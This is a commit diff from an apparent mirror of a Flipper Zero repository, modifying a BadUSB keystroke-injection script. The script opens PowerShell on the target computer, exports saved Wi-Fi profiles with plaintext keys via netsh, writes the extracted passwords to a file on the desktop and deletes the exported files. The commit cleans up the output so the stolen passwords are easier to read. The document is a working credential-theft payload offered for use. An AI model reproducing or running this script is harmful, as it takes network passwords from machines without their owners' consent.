mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-17 07:13:18 +00:00
Clean up output
This script currently has the HTML tag <keyMaterial> affixed to either side of the scraped password, as well as some file path data surrounding the network SSIDs. This modification to the script cleans these conditions up.
This commit is contained in:
@@ -9,5 +9,5 @@ DELAY 500
|
|||||||
STRING powershell
|
STRING powershell
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
STRING cd C:\Users\$env:UserName\Desktop;netsh wlan export profile key=clear;Select-String -Path WiFi-* -Pattern 'keyMaterial'>0.txt;del WiFi-*;exit
|
STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '</?keyMaterial>', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit
|
||||||
ENTER
|
ENTER
|
||||||
|
|||||||
Reference in New Issue
Block a user